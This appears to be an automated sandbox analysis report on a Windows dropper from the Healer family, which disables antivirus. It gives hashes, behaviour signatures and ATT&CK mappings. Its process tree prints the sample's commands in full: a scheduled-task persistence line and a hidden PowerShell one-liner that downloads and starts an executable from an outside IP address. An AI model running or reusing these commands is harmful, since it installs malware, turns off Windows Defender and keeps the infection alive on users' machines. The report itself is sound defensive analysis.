Overview

overview

10

Static

static

5

f746e2e897...5d.exe

windows7-x64

10

f746e2e897...5d.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    120s
  • max time network
    131s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    18-02-2025 08:16

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General

  • Target

    f746e2e8975cb74d3b9f45412deb4b41ac6500b0aafd16542206522bfcd3d25d.exe

  • Size

    938KB

  • MD5

    26c90f6f4604983af87055a371f7da5f

  • SHA1

    642bcd43ccc2abb6ed712a72da4492bd3fb0e095

  • SHA256

    f746e2e8975cb74d3b9f45412deb4b41ac6500b0aafd16542206522bfcd3d25d

  • SHA512

    abad89afe22b5211b68aabb1d141d131eccbd807b2a66a8b43487ad6b98e251f7d6cf3c0fbb94ddaa3139c8fd3bb08eeb1ea58e7399eb8bb033897c20389c4fb

  • SSDEEP

    24576:NqDEvCTbMWu7rQYlBQcBiT6rprG8aytl:NTvC/MTQYxsWR7ayt

Score
10/10
healerdefense_evasiondiscoverydropperevasionexecutiontrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/defend/random.exe

Signatures

  • Detects Healer an antivirus disabler dropper 3 IoCs
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    defense_evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 1 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 2 IoCs
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f746e2e8975cb74d3b9f45412deb4b41ac6500b0aafd16542206522bfcd3d25d.exe
    "C:\Users\Admin\AppData\Local\Temp\f746e2e8975cb74d3b9f45412deb4b41ac6500b0aafd16542206522bfcd3d25d.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2152
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn 9vABBmaoNoZ /tr "mshta C:\Users\Admin\AppData\Local\Temp\9NbrdffvF.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1228
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn 9vABBmaoNoZ /tr "mshta C:\Users\Admin\AppData\Local\Temp\9NbrdffvF.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:3032
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\9NbrdffvF.hta
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:2288
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'QCTSA193HIONOWHQE0UQJVP6NYKDNSIV.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2096
        • C:\Users\Admin\AppData\Local\TempQCTSA193HIONOWHQE0UQJVP6NYKDNSIV.EXE
          "C:\Users\Admin\AppData\Local\TempQCTSA193HIONOWHQE0UQJVP6NYKDNSIV.EXE"
          4⤵
          • Modifies Windows Defender DisableAntiSpyware settings
          • Modifies Windows Defender Real-time Protection settings
          • Modifies Windows Defender TamperProtection settings
          • Modifies Windows Defender notification settings
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Windows security modification
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2840

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1
T1059

PowerShell

1
T1059.001

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Persistence

Create or Modify System Process

4
T1543

Windows Service

4
T1543.003

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Privilege Escalation

Create or Modify System Process

4
T1543

Windows Service

4
T1543.003

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Defense Evasion

Impair Defenses

5
T1562

Disable or Modify Tools

5
T1562.001

Modify Registry

6
T1112

Virtualization/Sandbox Evasion

2
T1497

Credential Access

Discovery

Query Registry

3
T1012

System Information Discovery

2
T1082

System Location Discovery

1
T1614

System Language Discovery

1
T1614.001

Virtualization/Sandbox Evasion

2
T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\TempQCTSA193HIONOWHQE0UQJVP6NYKDNSIV.EXE
    Filesize

    1.7MB

    MD5

    1e112f2e3db5823613597e7988dbde12

    SHA1

    fda13988844ce59a055640273062c4191478dd58

    SHA256

    1f2691360f1369bd6bad02586b96eca71be5194a89df7baf0d43e6a6dc391608

    SHA512

    91f2d297f4bf5c997ae8bd4d32e9c9f32d2402de1fd67e13b7d7d97458c05351ea3196c89f73d2804506073318635c8727f075350301a7cb8b86ca1eae1dc37b

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\9NbrdffvF.hta
    Filesize

    726B

    MD5

    7e656f8e1ab80390f5ec8f582d1eb3fc

    SHA1

    f155a7a06289ce96f168c5caedb8709b3e3928e3

    SHA256

    72cc902f7b807b5d45d5f99f1ab176c1c2633668a1d259c63c2e8cf9a7b186c0

    SHA512

    1aadff4667aa72cdaaf5c693a53679c0cff92540460525366079e5aa00a6cc6ff5d8a47c9b21851706034e535043838214a2cfeef65d638db1c9ca5b6420f3eb

    Download Submit

  • memory/2096-14-0x0000000006120000-0x0000000006578000-memory.dmp

    Filesize

    4.3MB

    Download

  • memory/2096-13-0x0000000006120000-0x0000000006578000-memory.dmp

    Filesize

    4.3MB

    Download

  • memory/2840-15-0x0000000000A60000-0x0000000000EB8000-memory.dmp

    Filesize

    4.3MB

    Download

  • memory/2840-16-0x0000000000A60000-0x0000000000EB8000-memory.dmp

    Filesize

    4.3MB

    Download

  • memory/2840-17-0x0000000000A60000-0x0000000000EB8000-memory.dmp

    Filesize

    4.3MB

    Download

  • memory/2840-20-0x0000000000A60000-0x0000000000EB8000-memory.dmp

    Filesize

    4.3MB

    Download